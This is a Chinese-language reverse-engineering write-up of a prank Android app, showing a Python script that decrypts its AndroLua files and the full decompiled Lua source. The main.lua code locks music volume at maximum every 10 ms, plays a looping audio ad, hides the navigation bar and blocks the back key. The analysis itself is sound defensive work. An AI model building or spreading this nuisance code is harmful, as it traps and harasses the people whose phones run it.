对流氓APP——一份礼物.apk的逆向分析

1. 拿到apk ,第一步肯定先放到虚拟机里跑一下看下效果,emmm这似曾相识的页面,这熟悉的音量,唯一变化的就是音乐变成了O泡果奶的魔性洗脑广告,懂了,不就是 "送给最好的ta.apk" 吗?

   

2. 使用Android killer或apk改之理分析一下,这里使用Android Killer:

   

3. 通过对比送给最好的ta.apk发现:多了一个layout.lua文件 不过从名字上看这就是个布局文件,影响不大,再就是mp3文件名字从原来的0.mp3改为了mc.mp3,其他的都没变 甚至软件图标都没变.

4. 剩下的就简单了,虽然lua文件是加密过的,但是盲猜加密方式也没变,因此白嫖pcat大佬的解密脚本:

   from ctypes import *
   import sys
   
   def decrypt(filename):
       s = open(filename, 'rb').read()
       outfile = 'out.lua'
       if s[0] == chr(0x1b) and s[1] != chr(0x4c):
           rst = chr(0x1b)
           size = len(s)
           v10 = 0
           for i in range(1, size):
               v10 += size
               v = (c_ulonglong(-2139062143 * v10).value >> 32) + v10
               v1 = c_uint(v).value >> 7
               v2 = c_int(v).value < 0
               rst += chr(ord(s[i]) ^ (v10 + v1 + v2) & 0xff)
           with open(outfile, 'wb') as f:
               f.write(rst)
       else:
           pass
   
   def foo():
       print len(sys.argv)
       if len(sys.argv) == 2:
           filename = sys.argv[1]
       else:
           filename = 'main.lua'
       decrypt(filename)
   
   if __name__ == '__main__':
       foo()
   
   

5. 将得到的文件使用unluac.jar进行还原,最终得到三个lua文件分别为:

   init.lua:

   local L0, L1
   appname = "2301431462281871829.0"
   appver = "9.0"
   packagename = "com.ta.cnm"
   appcode = "9"
   appsdk = "15"
   theme = "Theme_DeviceDefault_Light_NoActionBar"
   L0 = {}
   L1 = "WRITE_EXTERNAL_STORAGE"
   L0[1] = L1
   user_permission = L0
   

   main.lua:

   local L0, L1, L2, L3
   L0 = require
   L1 = "import"
   L0(L1)
   L0 = import
   L1 = "android.app.*"
   L0(L1)
   L0 = import
   L1 = "android.os.*"
   L0(L1)
   L0 = import
   L1 = "android.widget.*"
   L0(L1)
   L0 = import
   L1 = "android.view.*"
   L0(L1)
   L0 = import
   L1 = "android.view.View"
   L0(L1)
   L0 = import
   L1 = "android.content.Context"
   L0(L1)
   L0 = import
   L1 = "android.media.MediaPlayer"
   L0(L1)
   L0 = import
   L1 = "android.media.AudioManager"
   L0(L1)
   L0 = import
   L1 = "com.androlua.Ticker"
   L0(L1)
   L0 = activity
   L0 = L0.getSystemService
   L1 = Context
   L1 = L1.AUDIO_SERVICE
   L0 = L0(L1)
   L0 = L0.setStreamVolume
   L1 = AudioManager
   L1 = L1.STREAM_MUSIC
   L2 = 15
   L3 = AudioManager
   L3 = L3.FLAG_SHOW_UI
   L0(L1, L2, L3)
   L0 = activity
   L0 = L0.getDecorView
   L0 = L0()
   L0 = L0.setSystemUiVisibility
   L1 = View
   L1 = L1.SYSTEM_UI_FLAG_HIDE_NAVIGATION
   L2 = View
   L2 = L2.SYSTEM_UI_FLAG_IMMERSIVE
   L1 = L1 | L2
   L0(L1)
   L0 = MediaPlayer
   L0 = L0()
   m = L0
   L0 = m
   L0 = L0.reset
   L0()
   L0 = m
   L0 = L0.setDataSource
   L1 = activity
   L1 = L1.getLuaDir
   L1 = L1()
   L2 = "/mc.mp3"
   L1 = L1 .. L2
   L0(L1)
   L0 = m
   L0 = L0.prepare
   L0()
   L0 = m
   L0 = L0.start
   L0()
   L0 = m
   L0 = L0.setLooping
   L1 = true
   L0(L1)
   L0 = Ticker
   L0 = L0()
   ti = L0
   L0 = ti
   L0.Period = 10
   L0 = ti
   function L1()
     local L0, L1, L2, L3
     L0 = activity
     L0 = L0.getSystemService
     L1 = Context
     L1 = L1.AUDIO_SERVICE
     L0 = L0(L1)
     L0 = L0.setStreamVolume
     L1 = AudioManager
     L1 = L1.STREAM_MUSIC
     L2 = 15
     L3 = AudioManager
     L3 = L3.FLAG_SHOW_UI
     L0(L1, L2, L3)
     L0 = activity
     L0 = L0.getDecorView
     L0 = L0()
     L0 = L0.setSystemUiVisibility
     L1 = View
     L1 = L1.SYSTEM_UI_FLAG_HIDE_NAVIGATION
     L2 = View
     L2 = L2.SYSTEM_UI_FLAG_IMMERSIVE
     L1 = L1 | L2
     L0(L1)
   end
   L0.onTick = L1
   L0 = ti
   L0 = L0.start
   L0()
   function L0(A0, A1)
     local L2, L3, L4, L5
     L2 = string
     L2 = L2.find
     L3 = tostring
     L4 = A1
     L3 = L3(L4)
     L4 = "KEYCODE_BACK"
     L2 = L2(L3, L4)
     if L2 ~= nil then
       L2 = activity
       L2 = L2.getSystemService
       L3 = Context
       L3 = L3.AUDIO_SERVICE
       L2 = L2(L3)
       L2 = L2.setStreamVolume
       L3 = AudioManager
       L3 = L3.STREAM_MUSIC
       L4 = 15
       L5 = AudioManager
       L5 = L5.FLAG_SHOW_UI
       L2(L3, L4, L5)
     end
     L2 = true
     return L2
   end
   onKeyDown = L0
   

   layout.lua:

   local L0, L1, L2, L3
   L0 = {}
   L1 = LinearLayout
   L0.layout_width = "fill"
   L0.layout_height = "fill"
   L2 = {}
   L3 = Button
   L2.textColor = "#D50000"
   L2.text = "230131138228184141230131138229150156 230132143228184141230132143229164150"
   L2.layout_height = "match_parent"
   L2.layout_width = "match_parent"
   L2.background = "#88888888"
   L2[1] = L3
   L0[1] = L1
   L0[2] = L2
   return L0
   
   

6. 分析这三个文件:

   init.lua: 定义了app的名字,版本(已经是9.0了吗),包名(有点暴躁啊这位老哥),sdk版本,使用的主题,需要的权限等数据

   main.lua:具体逻辑都在这里面:读取mc.mp3 播放 并一直把音量调整到15(最大),监听禁用返回按钮.

   layout.lua:设置页面布局

7. 分析完毕.解决